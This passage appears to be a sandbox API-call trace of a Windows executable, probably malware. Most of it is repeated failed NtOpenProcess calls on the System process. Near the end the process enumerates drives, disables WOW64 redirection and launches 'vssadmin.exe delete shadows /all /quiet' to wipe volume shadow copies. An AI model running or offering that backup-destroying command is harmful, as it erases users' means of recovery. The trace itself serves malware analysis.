ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.167] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.168] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.169] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.170] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.170] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.170] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.170] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.170] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.170] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.170] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.174] NtClose (Handle=0x15c) returned 0x0 [0032.175] NtClose (Handle=0x15c) returned 0x0 [0032.175] NtClose (Handle=0x15c) returned 0x0 [0032.175] NtClose (Handle=0x15c) returned 0x0 [0032.175] NtClose (Handle=0x15c) returned 0x0 [0032.175] NtClose (Handle=0x15c) returned 0x0 [0032.179] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0032.179] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc) returned 0x415b70 [0032.179] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x415b70 | out: lpBuffer="C:\\") returned 0x4 [0032.179] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8) returned 0x415f00 [0032.179] wcscpy (in: _Dest=0x415f00, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0032.180] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20a) returned 0x442458 [0032.180] QueryDosDeviceW (in: lpDeviceName="C:", lpTargetPath=0x442458, ucchMax=0x104 | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0032.180] wcscat (in: _Dest=0x442458, _Source="\\" | out: _Dest="\\Device\\HarddiskVolume1\\") returned="\\Device\\HarddiskVolume1\\" [0032.180] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413cd8 [0032.182] Wow64DisableWow64FsRedirection (in: OldValue=0xefaf4 | out: OldValue=0xefaf4*=0x0) returned 1 [0032.182] GetSystemDirectoryW (in: lpBuffer=0x442240, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0032.182] wcscat (in: _Dest=0x442240, _Source="\\vssadmin.exe" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe") returned="C:\\Windows\\system32\\vssadmin.exe" [0032.182] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x240) returned 0x442458 [0032.182] wcscpy (in: _Dest=0x442458, _Source="C:\\Windows\\system32\\vssadmin.exe" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe") returned="C:\\Windows\\system32\\vssadmin.exe" [0032.182] wcscat (in: _Dest=0x442458, _Source=" delete shadows /all /quiet" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet") returned="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet" [0032.183] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xefa4c*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xefa90 | out: lpCommandLine="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0xefa90*(hProcess=0x1a0, hThread=0x15c, dwProcessId=0x960, dwThreadId=0x964)) returned 1 [0032.192] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442458) returned 1 [0032.192] Wow64RevertWow64FsRedirection (OlValue=0xefaf4) returned 1 [0032.192] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442240) returned 1 